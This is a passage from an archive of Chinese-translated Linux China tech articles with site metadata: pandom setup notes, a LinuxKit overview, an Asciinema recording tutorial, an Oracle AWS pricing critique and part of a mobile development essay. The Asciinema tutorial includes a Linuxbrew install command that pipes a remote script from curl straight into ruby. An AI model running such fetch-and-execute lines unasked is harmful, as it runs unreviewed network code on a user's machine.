pandom 提供大约 8 kB/s 的随机数生成速率，但它的性能可能根据环境而有所差异。
```
dd if=/dev/random of=/dev/null bs=8 count=512
512+0 records in
512+0 records out
4096 bytes (4.1 kB, 4.0 KiB) copied, 0.451253 s, 9.1 kB/s
```
#### 4.2 熵和序列相关性检验
除了 ncomputers.org/entropyarray，还存在更多的测试，例如 [Ilja Gerhardt 的 NIST 测试套件](https://gerhardt.ch/random.php)。
```
entropyarray /dev/random 1M
```
#### 4.3 系统服务
pandom 还可以以系统服务的形式运行。
**基于 init.d 的初始化系统（如 upstart、sysvinit）：**
```
/etc/init.d/random status
/etc/init.d/random start
/etc/init.d/random stop
/etc/init.d/random restart
```
**以 systemd 作为初始化程序的系统：**
```
systemctl status random
systemctl start random
systemctl stop random
systemctl restart random
```
### 5 增强不可预测性或者性能
假如你想增加你编译的 pandom 程序的不可预测性或者性能，你可以尝试增加或删减 CPU 时间测量选项。
#### 5.1 编辑源文件
请按照自己的意愿，在源文件 `test.s` 和 `tRNG.s` 中增加或者移除 `measurement blocks` 字段。
```
#measurement block
mov $35,%rax
syscall
rdtsc
[...]
#measurement block
mov $35,%rax
syscall
rdtsc
[...]
```
#### 5.2 测试不可预测性
我们总是建议在使用个人定制的 pandom 实现来用于加密目地之前，先进行一些测试。
```
make check
```
#### 5.3 安装定制的 pandom
假如你对测试的结果很满意，你就可以使用下面的命令来安装你的 pandom 实现。
```
make install
```
更多额外信息及更新详见 <http://ncomputers.org/pandom> 。
（题图：Pixabay，CC0）
---
via: <https://www.howtoforge.com/tutorial/how-to-install-pandom-a-true-random-number-generator/>
作者：[Oliver](https://www.howtoforge.com/tutorial/how-to-install-pandom-a-true-random-number-generator/) 译者：[FSSlc](https://github.com/FSSlc) 校对：[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
LinuxKit：在容器中运行容器
|
Chris Binnie
|
http://www.devsecops.cc/devsecops/containers.html
|
LinuxKit 是一个灵活的、可扩展的操作系统，而为了可移植性，系统服务也是运行在容器之中。甚至，令人惊讶的是，就连 Docker 运行时环境也是运行在容器内！
|
/data/attachment/album/201705/18/102636wm4d6mwitms3tiss.png.thumb.jpg
|
/data/attachment/album/201705/18/102636wm4d6mwitms3tiss.png
| true | false | true |
geekpi
| false |
[
"容器",
"LinuxKit",
"Docker"
] |
观点
|
{
"viewnum": 4842,
"commentnum": 0,
"favtimes": 0,
"sharetimes": 0,
"likes": 0
}
|
[] |
[] |
LinuxKit 是一个灵活的、可扩展的操作系统，而为了可移植性，系统服务也是运行在容器之中。甚至，令人惊讶的是，就连 Docker 运行时环境也是运行在容器内！
| 2017-05-18T10:29:00 | 2017-05-18T10:29:00 | 8,518 |
/article-8518-1.html
|
一些令人振奋的消息引发了我对今年 DockerCon 的兴趣，在这次会议中，无可争议的容器巨头公司 Docker 发布了一个新的操作系统：LinuxKit。
这家容器巨头宣布的是一个灵活的、可扩展的操作系统，而为了可移植性，系统服务也是运行在容器之中。甚至，令人惊讶的是，就连 Docker 运行时环境也是运行在容器内！
在本文中，我们将简要介绍一下 LinuxKit 中所承诺的内容，以及如何自己尝试一下这个不断精简、优化的容器。
### 少即是多
不可否认的是，用户一直在寻找一个可以运行他们的微服务的精简版本的 Linux 。通过容器化，你会尽可能地最小化每个应用程序，使其成为一个适合于运行在其自身容器内的独立进程。但是，由于你需要对那些驻留容器的宿主机出现的问题进行修补，因此你不断地在宿主机间移动容器。实际上，如果没有像 Kubernetes 或 Docker Swarm 这样的编排系统，容器编排几乎总是会导致停机。
不用说，这只是让你保持操作系统尽可能小的原因之一。
我曾多次在不同场合重复过的最喜爱的名言，来自荷兰的天才程序员 Wietse Zweitze，他为我们提供了重要的 Email 软件 Postfix 和 TCP Wrappers 等知名软件。
在 [Postfix 网站](http://www.postfix.org/TLS_README.html) 指出，即使你编码和 Wietse 一样小心，“每 1000 行[你]就会在 Postfix 中引入一个额外的 bug”。从我的专业的 DevSecOps 角度看，这里提到的“bug” 可以将其大致看做安全问题。
从安全的角度来看，正是由于这个原因，代码世界中“少即是多”。简单地说，使用较少的代码行有很多好处，即安全性、管理时间和性能。对于初学者来说，这意味着安全漏洞较少，更新软件包的时间更短，启动时间更快。
### 深入观察
考虑下在容器内部运行你的程序。
一个好的起点是 [Alpine Linux](https://alpinelinux.org/downloads/)，它是一个苗条、精简的操作系统，通常比那些笨重的系统更受喜欢，如 Ubuntu 或 CentOS 等。Alpine 还提供了一个 miniroot 文件系统（用于容器内），最近我看到的大小是惊人的 1.8M。事实上，这个完整的 Linux 操作系统下载后有 80M。
如果你决定使用 Alpine Linux 作为 Docker 基础镜像，那么你可以在 Docker Hub 上[找到](https://hub.docker.com/_/alpine)一个， 它将其描述为：“一个基于 Alpine Linux 的最小 Docker 镜像，具有完整的包索引，大小只有5 MB！”
据说无处不在的 “Window 开始菜单” 文件也是大致相同的大小！我没有验证过，也不会进一步评论。
讲真，希望你去了解一下这个创新的类 Unix 操作系统（如 Alpine Linux）的强大功能。
### 锁定一切
再说一点，Alpine Linux 是（并不惊人）基于 [BusyBox](https://busybox.net/)，这是一套著名的打包了 Linux 命令的集合，许多人不会意识到他们的宽带路由器、智能电视，当然还有他们家庭中的物联网设备就有它。
Alpine Linux 站点的“[关于](https://www.alpinelinux.org/about/)”页面的评论中指出：
>
> “Alpine Linux 的设计考虑到安全性。内核使用 grsecurity/PaX 的非官方移植进行了修补，所有用户态二进制文件都编译为具有堆栈保护的地址无关可执行文件（PIE）。 这些主动安全特性可以防止所有类别的零日漏洞和其它漏洞利用。”
>
>
>
换句话说，这些捆绑在 Alpine Linux 中的精简二进制文件提供的功能通过了那些行业级安全工具筛选，以缓解缓冲区溢出攻击所带来的危害。
### 多只袜子
你可能会问，为什么当我们谈及 Docker 的新操作系统时，容器的内部结构很重要？
那么，你可能已经猜到，当涉及容器时，他们的目标是精简。除非绝对必要，否则不包括任何东西。所以你可以放心地清理橱柜、花园棚子、车库和袜子抽屉了。
Docker 的确因为它们的先见而获得声望。据报道，2 月初，Docker 聘请了 Alpine Linux 的主要推动者 Nathaniel Copa，他帮助将默认的官方镜像库从 Ubuntu 切换到 Alpine。Docker Hub 从新近精简镜像节省的带宽受到了赞誉。
并且最新的情况是，这项工作将与最新的基于容器的操作系统相结合：Docker 的 LinuxKit。
要说清楚的是 LinuxKit 注定不会代替 Alpine，而是位于容器下层，并作为一个完整的操作系统出现，你可以高兴地启动你的运行时守护程序（在这种情况下，是生成你的容器的Docker 守护程序 ）。
### 原子计划
经过精心调试的宿主机绝对不是一件新事物（以前提到过嵌入式 Linux 的家用设备）。在过去几十年中一直在优化 Linux 的天才在某个时候意识到底层的操作系统才是快速生产含有大量容器主机的关键。
例如，强大的红帽长期以来一直在出售已经贡献给 [Project Atomic](http://www.projectatomic.io/) 的 [红帽 Atomic](https://www.redhat.com/en/resources/red-hat-enterprise-linux-atomic-host) 。后者继续解释：
>
> “基于 Red Hat Enterprise Linux 或 CentOS 和 Fedora 项目的成熟技术，Atomic Host 是一个轻量级的、不可变的平台，其设计目的仅在于运行容器化应用程序。”
>
>
>
将底层的、不可变的 Atomic OS 作为红帽的 OpenShift PaaS（平台即服务）产品推荐有一个很好理由：它最小化、高性能、尖端。
### 特性强大
在 Docker 关于 LinuxKit 的公告中，“少即是多”的口号是显而易见的。实现 LinuxKit 愿景的项目显然是不小的事业，它由 Docker 老将和 [Unikernel](https://en.wikipedia.org/wiki/Unikernel) 的主管 Justin Cormack 指导，并与 HPE、Intel、ARM、IBM 和 Microsoft LinuxKit 合作，可以运行在从大型机到基于物联网的冰柜之中。
LinuxKit 的可配置性、可插拔性和可扩展性将吸引许多寻求建立其服务基准的项目。通过开源项目，Docker 明智地邀请每个人全身心地投入其功能开发，随着时间的推移，它会像好的奶酪那样成熟。
### 布丁作证
按照该发布消息中所承诺的，那些急于使用新系统的人不用再等待了。如果你准备着手 LinuxKit，你可以从 GitHub 中开始：[LinuxKit](https://github.com/linuxkit/linuxkit)。
在 GitHub 页面上有关于如何启动和运行一些功能的指导。
时间允许的话我准备更加深入研究 LinuxKit。对有争议的 Kubernetes 与 Docker Swarm 编排功能对比会是有趣的尝试。此外，我还想看到内存占用、启动时间和磁盘空间使用率的基准测试。
如果该承诺可靠，则作为容器运行的可插拔系统服务是构建操作系统的迷人方式。Docker 在[博客](https://blog.docker.com/2017/04/introducing-linuxkit-container-os-toolkit)）中提到：“因为 LinuxKit 是原生容器，它有一个非常小的尺寸 - 35MB，引导时间非常小。所有系统服务都是容器，这意味着可以删除或替换所有的内容。”
我不知道你觉得怎么样，但这非常符合我的胃口。
### 呼叫警察
除了我站在 DevSecOps 角度看到的功能，我会看看其对安全的承诺。
Docker 在他们的博客上引用来自 NIST（[国家标准与技术研究所](https://www.nist.gov/)）的话：
>
> “安全性是最高目标，这与 NIST 在其《应用程序容器安全指南》草案中说明的保持一致：‘使用容器专用操作系统而不是通用操作系统来减少攻击面。当使用专用容器操作系统时，攻击面通常比通用操作系统小得多，因此攻击和危及专用容器操作系统的机会较少。’”
>
>
>
可能最重要的容器到主机和主机到容器的安全创新是将系统容器（系统服务）完全地沙箱化到自己的非特权空间中，而只给它们需要的外部访问。
通过<ruby> 内核自我保护项目 <rt> Kernel Self Protection Project </rt></ruby>（[KSPP](https://kernsec.org/wiki/index.php/Kernel_Self_Protection_Project)）的协作来实现这一功能，我很满意 Docker 开始专注于一些非常值得的东西上。对于那些不熟悉的 KSPP 的人而言，它存在理由如下：
>
> “启动这个项目的的假设是内核 bug 的存在时间很长，内核必须设计成可以防止这些缺陷的危害。”
>
>
>
KSPP 网站进一步表态：
>
> “这些努力非常重要并还在进行，但如果我们要保护我们的十亿 Android 手机、我们的汽车、国际空间站，还有其他运行 Linux 的产品，我们必须在上游的 Linux 内核中建立积极的防御性技术。我们需要内核安全地出错，而不只是安全地运行。”
>
>
>
而且，如果 Docker 最初只是在 LinuxKit 前进了一小步，那么随着时间的推移，成熟度带来的好处可能会在容器领域中取得长足的进步。
### 终点还远
像 Docker 这样不断发展壮大的巨头无论在哪个方向上取得巨大的飞跃都将会用户和其他软件带来益处。
我鼓励所有对 Linux 感兴趣的人密切关注这个领域。
---
via: <http://www.devsecops.cc/devsecops/containers.html>
作者：[Chris Binnie](http://www.devsecops.cc/) 译者：[geekpi](https://github.com/geekpi) 校对：[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
如何在 Linux 中使用 Asciinema 进行录制和回放终端会话
|
Lubos Rendek
|
https://linuxconfig.org/record-and-replay-terminal-session-with-asciinema-on-linux
|
Asciinema 是一个轻量并且非常高效的终端会话录制器。使用它可以录制、回放和分享 JSON 格式的终端会话记录。最主要的优点是，它能够以通过 ASCII 文本以及 ANSI 转义码编码来录制所有的标准终端输入、输出和错误信息。
|
/data/attachment/album/201705/18/115905cc2jzzn9a09ep2f9.jpg.thumb.jpg
|
/data/attachment/album/201705/18/115905cc2jzzn9a09ep2f9.jpg
| true | false | true |
ucasFL
| false |
[
"终端",
"记录"
] |
桌面应用
|
{
"viewnum": 6451,
"commentnum": 3,
"favtimes": 3,
"sharetimes": 0,
"likes": 0
}
|
[
{
"postip": "118.122.120.11",
"message": "也可以用 script 记录。",
"username": "来自四川成都的 Chrome 57.0|GNU/Linux 用户",
"date": "2017-05-18T14:03:37"
},
{
"postip": "112.3.244.38",
"message": "生成 gif 图片不就行了．这么麻烦．",
"username": "来自江苏南京的 Firefox 53.0|GNU/Linux 用户",
"date": "2017-05-19T12:09:25"
},
{
"postip": "111.201.14.82",
"message": "太大",
"username": "linux [Chrome 58.0|Mac 10.11]",
"date": "2017-05-19T17:18:56"
}
] |
[] |
Asciinema 是一个轻量并且非常高效的终端会话录制器。使用它可以录制、回放和分享 JSON 格式的终端会话记录。最主要的优点是，它能够以通过 ASCII 文本以及 ANSI 转义码编码来录制所有的标准终端输入、输出和错误信息。
| 2017-05-18T11:59:00 | 2017-05-18T11:59:00 | 8,519 |
/article-8519-1.html
|
### 简介
Asciinema 是一个轻量并且非常高效的终端会话录制器。使用它可以录制、回放和分享 JSON 格式的终端会话记录。与一些桌面录制器，比如 Recordmydesktop、Simplescreenrecorder、Vokoscreen 或 Kazam 相比，Asciinema 最主要的优点是，它能够以通过 ASCII 文本以及 ANSI 转义码编码来录制所有的标准终端输入、输出和错误信息。
事实上，即使是很长的终端会话，录制出的 JSON 格式文件也非常小。另外，JSON 格式使得用户可以利用简单的文件转化器，将输出的 JSON 格式文件嵌入到 HTML 代码中，然后分享到公共网站或者使用 asciinema 账户分享到 Asciinema.org 。最后，如果你的终端会话中有一些错误，并且你还懂一些 ASCI 转义码语法，那么你可以使用任何编辑器来修改你的已录制终端会话。
**难易程度：**
很简单！
**标准终端：**
* **#** - 给定命令需要以 root 用户权限运行或者使用 `sudo` 命令
* **$** - 给定命令以常规权限用户运行
### 从软件库安装
通常， asciinema 可以使用你的发行版的软件库进行安装。但是，如果不可以使用系统的软件库进行安装或者你想安装最新的版本，那么，你可以像下面的“从源代码安装”部分所描述的那样，使用 Linuxbrew 包管理器来执行 Asciinema 安装。
**在 Arch Linux 上安装：**
```
# pacman -S asciinema
```
**在 Debian 上安装：**
```
# apt install asciinema
```
**在 Ubuntu 上安装：**
```
$ sudo apt install asciinema
```
**在 Fedora 上安装：**
```
$ sudo dnf install asciinema
```
### 从源代码安装
最简单并且值得推荐的方式是使用 Linuxbrew 包管理器，从源代码安装最新版本的 Asciinema 。
#### 前提条件
下面列出的前提条件是安装 Linuxbrew 和 Asciinema 需要满足的依赖关系：
* git
* gcc
* make
* ruby
在安装 Linuxbrew 之前，请确保上面的这些包都已经安装在了你的 Linux 系统中。
**在 Arch Linux 上安装 ruby：**
```
# pacman -S git gcc make ruby
```
**在 Debian 上安装 ruby：**
```
# apt install git gcc make ruby
```
**在 Ubuntu 上安装 ruby：**
```
$ sudo apt install git gcc make ruby
```
**在 Fedora 上安装 ruby：**
```
$ sudo dnf install git gcc make ruby
```
**在 CentOS 上安装 ruby：**
```
# yum install git gcc make ruby
```
#### 安装 Linuxbrew
Linuxbrew 包管理器是苹果的 MacOS 操作系统很受欢迎的 Homebrew 包管理器的一个复刻版本。还没发布多久，Homebrew 就以容易使用而著称。如果你想使用 Linuxbrew 来安装 Asciinema，那么，请运行下面命令在你的 Linux 版本上安装 Linuxbrew：
```
$ ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Linuxbrew/install/master/install)"
```
现在，Linuxbrew 已经安装到了目录 `$HOME/.linuxbrew/` 下。剩下需要做的就是使它成为可执行 `PATH` 环境变量的一部分。
```
$ echo 'export PATH="$HOME/.linuxbrew/bin:$PATH"' >>~/.bash_profile
$ . ~/.bash_profile
```
为了确认 Linuxbrew 是否已经安装好，你可以使用 `brew` 命令来查看它的版本：
```
$ brew --version
Homebrew 1.1.7
Homebrew/homebrew-core (git revision 5229; last commit 2017-02-02)
```
#### 安装 Asciinema
安装好 Linuxbrew 以后，安装 Asciinema 就变得无比容易了：
```
$ brew install asciinema
```
检查 Asciinema 是否安装正确：
```
$ asciinema --version
asciinema 1.3.0
```
### 录制终端会话
经过一番辛苦的安装工作以后，是时候来干一些有趣的事情了。Asciinema 是一个非常容易使用的软件。事实上，目前的 1.3 版本只有很少的几个可用命令行选项，其中一个是 `--help` 。
我们首先使用 `rec` 选项来录制终端会话。下面的命令将会开始录制终端会话，之后，你将会有一个选项来丢弃已录制记录或者把它上传到 asciinema.org 网站以便将来参考。
```
$ asciinema rec
```
运行上面的命令以后，你会注意到， Asciinema 已经开始录制终端会话了，你可以按下 `CTRL+D` 快捷键或执行 `exit` 命令来停止录制。如果你使用的是 Debian/Ubuntu/Mint Linux 系统，你可以像下面这样尝试进行第一次 asciinema 录制：
```
$ su
Password:
# apt install sl
# exit
$ sl
```
一旦输入最后一个 `exit` 命令以后，将会询问你：
```
$ exit
~ Asciicast recording finished.
~ Press <Enter> to upload, <Ctrl-C> to cancel.
https://asciinema.org/a/7lw94ys68gsgr1yzdtzwijxm4
```
如果你不想上传你的私密命令行技巧到 asciinema.org 网站，那么有一个选项可以把 Asciinema 记录以 JSON 格式保存为本地文件。比如，下面的 asciinema 记录将被存为 `/tmp/my_rec.json`：
```
$ asciinema rec /tmp/my_rec.json
```
另一个非常有用的 asciinema 特性是时间微调。如果你的键盘输入速度很慢，或者你在进行多任务，输入命令和执行命令之间的时间会比较长。Asciinema 会记录你的实时按键时间，这意味着每一个停顿都将反映在最终视频的长度上。可以使用 `-w` 选项来缩短按键的时间间隔。比如，下面的命令将按键的时间间隔缩短为 0.2 秒：
```
$ asciinema rec -w 0.2
```
### 回放已录制终端会话
有两种方式可以来回放已录制会话。第一种方式是直接从 asciinema.org 网站上播放终端会话。这意味着，你之前已经把录制会话上传到了 asciinema.org 网站，并且需要提供有效链接：
```
$ asciinema play https://asciinema.org/a/7lw94ys68gsgr1yzdtzwijxm4
```
另外，你也可以使用本地存储的 JSON 文件：
```
$ asciinema play /tmp/my_rec.json
```
如果要使用 `wget` 命令来下载之前的上传记录，只需在链接的后面加上 `.json`：
```
$ wget -q -O steam_locomotive.json https://asciinema.org/a/7lw94ys68gsgr1yzdtzwijxm4.json
$ asciinema play steam_locomotive.json
```
### 将视频嵌入 HTML
最后，asciinema 还带有一个独立的 JavaScript 播放器。这意味者你可以很容易的在你的网站上分享终端会话记录。下面，使用一段简单的 `index.html` 代码来说明这个方法。首先，下载所有必要的东西：
```
$ cd /tmp/
$ mkdir steam_locomotive
$ cd steam_locomotive/
$ wget -q -O steam_locomotive.json https://asciinema.org/a/7lw94ys68gsgr1yzdtzwijxm4.json
$ wget -q https://github.com/asciinema/asciinema-player/releases/download/v2.4.0/asciinema-player.css
$ wget -q https://github.com/asciinema/asciinema-player/releases/download/v2.4.0/asciinema-player.js
```
之后，创建一个新的包含下面这些内容的 `/tmp/steam_locomotive/index.html` 文件：
```
<html>
<head>
<link rel="stylesheet" type="text/css" href="./asciinema-player.css" />
</head>
<body>
<asciinema-player src="./steam_locomotive.json" cols="80" rows="24"></asciinema-player>
<script src="./asciinema-player.js"></script>
</body>
</html>
```
完成以后，打开你的网页浏览器，按下 `CTRL+O` 来打开新创建的 `/tmp/steam_locomotive/index.html` 文件。
### 结论
正如前面所说的，使用 asciinema 录制器来录制终端会话最主要的优点是它的输出文件非常小，这使得你的视频很容易分享出去。上面的例子产生了一个包含 58472 个字符的文件，它是一个只有 58 KB 大 小的 22 秒终端会话视频。如果我们查看输出的 JSON 文件，会发现甚至这个数字已经非常大了，这主要是因为一个 “蒸汽机车” 已经跑过了终端。这个长度的正常终端会话一般会产生一个更小的输出文件。
下次，当你想要在一个论坛上询问关于 Linux 配置的问题，并且很难描述你的问题的时候，只需运行下面的命令：
```
$ asciinema rec
```
然后把最后的链接贴到论坛的帖子里。
### 故障排除
#### 在 UTF-8 环境下运行 asciinema
错误信息：
```
asciinema needs a UTF-8 native locale to run. Check the output of `locale` command.
```
解决方法： 生成并导出 UTF-8 语言环境。例如：
```
$ localedef -c -f UTF-8 -i en_US en_US.UTF-8
$ export LC_ALL=en_US.UTF-8
```
---
via: <https://linuxconfig.org/record-and-replay-terminal-session-with-asciinema-on-linux>
作者：[Lubos Rendek](https://linuxconfig.org/record-and-replay-terminal-session-with-asciinema-on-linux) 译者：[ucasFL](https://github.com/ucasFL) 校对：[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
甲骨文的政策更改提高了其在 AWS 上的价格
|
Christine Hall
|
http://windowsitpro.com/cloud/oracle-policy-change-raises-prices-aws
|
这种改变使得在 AWS 上实施甲骨文的软件的价格翻了一番，它已经安静地生效了，而几乎没有通知用户。
|
/data/attachment/album/201705/18/150111lud3xvd3vuvkkwns.jpg.thumb.jpg
|
/data/attachment/album/201705/18/150111lud3xvd3vuvkkwns.jpg
| true | false | true |
geekpi
| false |
[
"甲骨文",
"Oracle",
"AWS"
] |
观点
|
{
"viewnum": 4329,
"commentnum": 0,
"favtimes": 0,
"sharetimes": 0,
"likes": 0
}
|
[] |
[] |
这种改变使得在 AWS 上实施甲骨文的软件的价格翻了一番，它已经安静地生效了，而几乎没有通知用户。
| 2017-05-18T15:01:00 | 2017-05-18T15:01:00 | 8,520 |
/article-8520-1.html
|
>
> 这种改变使得在 AWS 上实施甲骨文的软件的价格翻了一番，它已经安静地生效了，而几乎没有通知用户。
>
>
>
之前有消息传出，甲骨文使亚马逊云上的产品价格翻了一倍。它在[如何计算 AWS 的虚拟 CPU](https://oracle-base.com/blog/2017/01/28/oracles-cloud-licensing-change-be-warned/) 上耍了一些花招。它这么做也没有任何宣扬。该公司的新定价政策于 1 月 23 日生效，直到 1 月 28 日都几乎没有被人注意到， 甲骨文的关注者 Tim Hall 偶然发现 Big Red 公司的 [甲骨文软件云计算环境许可](http://www.oracle.com/us/corporate/pricing/cloud-licensing-070579.pdf)文件并披露了出来。
乍一看，这一举动似乎并不太大，因为它仅将甲骨文的 AWS 定价与 Microsoft Azure 的价格相提并论。但是 Azure 只有市场领先的 AWS 体量的三分之一，所以如果你想在云中销售许可证，AWS 是合适的地方。虽然此举可能或可能不会影响已经在 AWS 上使用甲骨文产品的用户，但是尚不清楚新规则是否适用于已在使用产品的用户 - 它肯定会让一些考虑可能使用甲骨文的用户另寻它处。
这个举动的主要原因是显而易见的。甲骨文希望使自己的云更具吸引力 - 这让 [The Register 观察](https://www.theregister.co.uk/2017/01/30/oracle_effectively_doubles_licence_fees_to_run_in_aws/)到一点：“拉里·埃里森确实承诺过甲骨文的云将会更快更便宜”。更快和更便宜仍然有待看到。如果甲骨文的 SPARC 云计划启动，并且按照广告的形式执行，那么可能会更快，但是更便宜的可能性较小。甲骨文以对其价格的强硬态度而著称。
随着其招牌数据库和业务栈销售的下滑，并且对 Sun 公司的 74 亿美元的投资并未能按照如期那样，甲骨文将其未来赌在云计算上。但是甲骨文来晚了，迄今为止，它的努力似乎还没有结果, 一些金融预测者并没有看到甲骨文云的光明前景。他们说，云是一个拥挤的市场，而四大公司 - 亚马逊、微软、IBM 和谷歌 - 已经有了领先优势。
确实如此。但是甲骨文面临的最大的障碍是，好吧，就是甲骨文。它的声誉在它之前。
保守地说这个公司并不是因为明星客户服务而闻名。事实上，各种新闻报道将甲骨文描绘成一个恶霸和操纵者。
例如，早在 2015 年，甲骨文就因为它的云并不像预期那样快速增长而越来越沮丧，开始[激活业内人士称之为的“核特权”](http://www.businessinsider.com/oracle-is-using-the-nuclear-option-to-sell-its-cloud-software-2015-7)。它会审核客户的数据中心，如果客户不符合规定，将发出“违规通知” - 它通常只适用于大规模滥用情况，并命令客户在 30 天内退出使用其软件。
或许你能想到，大量投入在甲骨文软件平台上的大公司们绝对不能在短时间内迁移到另一个解决方案。甲骨文的违规通知将会引发灾难。
商业内幕人士 Julie Bort 解释到：“为了使违规通知消失 - 或者减少高额的违规罚款 - 甲骨文销售代表通常希望客户向合同中添加云额度”。
换句话说，甲骨文正在使用审计来扭转客户去购买它的云，而无论他们是否有需要。这种策略与最近 AWS 价格翻倍之间也可能存在联系。Hall 的文章的评论者指出，围绕价格提升的秘密背后的目的可能是触发软件审计。
使用这些策略的麻烦迟早会出来。消息一旦传播开来，你的客户就开始寻找其他选项。对 Big Red 而言或许是时候参考微软的做法，开始建立一个更好和更温和的甲骨文，将客户的需求放在第一位。
（题图：[windowsitpro](http://windowsitpro.com/)）
---
via: <http://windowsitpro.com/cloud/oracle-policy-change-raises-prices-aws>
作者：[Christine Hall](http://windowsitpro.com/author/christine-hall) 译者：[geekpi](https://github.com/geekpi) 校对：[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出
|
||
该死，原生移动应用的开发成本太高了！
|
Nader Dabit
|
https://hackernoon.com/the-cost-of-native-mobile-app-development-is-too-damn-high-4d258025033a
|
我们遇到了一个临界点。除去少数几个特别的的用例之外，使用原生框架和原生应用开发团队构建、维护移动应用再也没有意义了。
|
/data/attachment/album/201705/18/153154kw44b4yuu4wjzsco.jpg.thumb.jpg
|
/data/attachment/album/201705/18/153154kw44b4yuu4wjzsco.jpg
| true | false | true |
fuowang
| false |
[
"JavaScript",
"移动应用"
] |
观点
|
{
"viewnum": 7431,
"commentnum": 0,
"favtimes": 0,
"sharetimes": 0,
"likes": 0
}
|
[] |
[] |
我们遇到了一个临界点。除去少数几个特别的的用例之外，使用原生框架和原生应用开发团队构建、维护移动应用再也没有意义了。
| 2017-05-19T10:28:00 | 2017-05-19T10:28:00 | 8,521 |
/article-8521-1.html
|
>
> 一个有价值的命题
>
>
>
我们遇到了一个临界点。除去少数几个特别的的用例之外，使用原生框架和原生应用开发团队构建、维护移动应用再也没有意义了。
*在美国，雇佣 [iOS，Android](http://www.indeed.com/salary)，[JavaScript](http://www.payscale.com/research/US/Skill=JavaScript/Salary) 开发人员的平均花费*
在过去的几年，原生移动应用开发的费用螺旋式上升，无法控制。对没有大量资金的新创业者来说，创建原生应用、MVP 设计架构和原型的难度大大增加。现有的公司需要抓住人才，以便在现有应用上进行迭代开发或者构建一个新的应用。要尽一切努力才能留住最好的人才，与 [世界各地的公司](http://blogs.wsj.com/cio/2016/09/30/tech-talent-war-moves-to-africa/) 拼尽全力[争个](http://www.bizjournals.com/charlotte/how-to/human-resources/2016/12/employers-offer-premium-wages-skilled-workers.html)[高](https://www.cnet.com/news/silicon-valley-talent-wars-engineers-come-get-your-250k-salary/)[下](http://www.nytimes.com/2015/08/19/technology/unicorns-hunt-for-talent-among-silicon-valleys-giants.html)。
*2015 年初，原生方式和混合方式开发 MVP 设计架构的费用[对比](http://www.comentum.com/mobile-app-development-cost.html)*
### 这一切对于我们意味着什么？
如果你的公司很大或者有足够多的现金，旧思维是只要你在原生应用开发方面投入足够多的资金，就高枕无忧。但事实不再如此。
Facebook 是你最不会想到的在人才战中失败的公司（因为他们没有失败），它也遇到了原生应用方面金钱无法解决的问题。他们的移动应用庞大而又复杂，[他们发现编译它竟然需要 15 分钟](https://devchat.tv/react-native-radio/08-bridging-react-native-components-with-tadeu-zagallo)。这意味着哪怕是极小的用户界面改动，比如移动几个点，测试起来都要花费几个小时（甚至几天）。
除了冗长的编译时间，应用的每一个小改动在测试时都需要在两个完全不同的环境（IOS 和 Android）实施，开发团队需要使用两种语言和框架工作，这趟水更浑了。
Facebook 对这个问题的解决方案是 [React Native](https://facebook.github.io/react-native/)。
### 能不能抛弃移动应用，仅面向 Web 呢？
[一些人认为移动应用的末日已到](https://medium.com/javascript-scene/native-apps-are-doomed-ac397148a2c0#.w06yd23ej)。尽管我很欣赏、尊重 [Eric Elliott](https://medium.com/u/c359511de780) 和他的工作，但我们还是通过考察一些近期的数据，进而讨论一下某些相反的观点：
*人们在移动应用上花费的[时间](http://www.smartinsights.com/mobile-marketing/mobile-marketing-analytics/mobile-marketing-statistics/attachment/percent-time-spent-on-mobile-apps-2016/)（2016年4月）*
>
> 人们使用 APP 的时间占使用手机总时长的 90%
>
>
>
目前世界上有 25 亿人在使用移动手机。[这个数字增长到 50 亿的速度会比我们想象的还要快。](http://ben-evans.com/benedictevans/2016/12/8/mobile-is-eating-the-world) 在正常情况下，丢掉 45 亿人的生意，或者抛弃有 45 亿人使用的应用程序是绝对荒唐且行不通的。
老问题是原生移动应用的开发成本对大多数公司来说太高了。然而，面向 web 的开发成本也在增加。[在美国，JavaScript 开发者的平均工资已达到 $97,000.00](http://www.indeed.com/salary?q1=javascript+developer&l1=united+states&tm=1)。
伴随着复杂性的增加以及对高质量 web 开发的需求暴涨，雇佣一个 JavaScript 开发者的平均价格直逼原生应用开发者。论证 web 开发更便宜已经没用了。
### 那混合开发呢？
混合应用是将 HTML5 应用内嵌在原生应用的容器里，并且提供实现原生平台特性所需的权限。Cordova 和 PhoneGap 就是典型的例子。
如果你想构建一个 MVP 设计架构、一个产品原型，或者不担心对原生应用的模仿的用户体验，那么混合应用会很适合你。但谨记如果你最后想把它转为原生应用，整个项目都得重写。
此领域有很多创新的东西，我最喜欢的当属 [Ionic Framework](https://ionicframework.com/)。混合开发正变得越来越好，但还不如原生开发那么流畅自然。
有很多公司，包括最严峻的初创公司，也包括大中规模的公司，混合应用在质量上的表现似乎没有满足客户的要求，给人的感觉是活糙、不够专业。
[听说应用商店里的前 100 名都不是混合应用](https://medium.com/lunabee-studio/why-hybrid-apps-are-crap-6f827a42f549#.lakqptjw6)，我没有证据支持这一观点。如果说有百分之零到百分之五是混合应用，我就不怀疑了。
>
> [我们最大的错误是在 HTML5 身上下了太多的赌注](https://techcrunch.com/2012/09/11/mark-zuckerberg-our-biggest-mistake-with-mobile-was-betting-too-much-on-html5/) — 马克·扎克伯格
>
>
>
### 解决方案
如果你紧跟移动开发动向，那么你绝对听说过像 [NativeScript](https://www.nativescript.org/) 和 [React Native](https://facebook.github.io/react-native/) 这样的项目。
通过这些项目，使用由 JavaScript 写成的基本 UI 组成块，像常规 iOS 和 Android 应用那样，就可以构建出高质量的原生移动应用。
你可以仅用一位工程师，也可以用一个专业的工程师团队，通过 React Native 使用 [现有代码库](https://github.com/necolas/react-native-web) 或者 [底层技术](https://facebook.github.io/react/) 进行跨平台移动应用开发、[原生桌面开发](https://github.com/ptmt/react-native-macos)，甚至还有 web 开发。把你的应用发布到 APP Store 上、 Play Store 上，还有 Web 上。如此可以在保证不丧失原生应用性能和质量的同时，使成本仅占传统开发的一小部分。
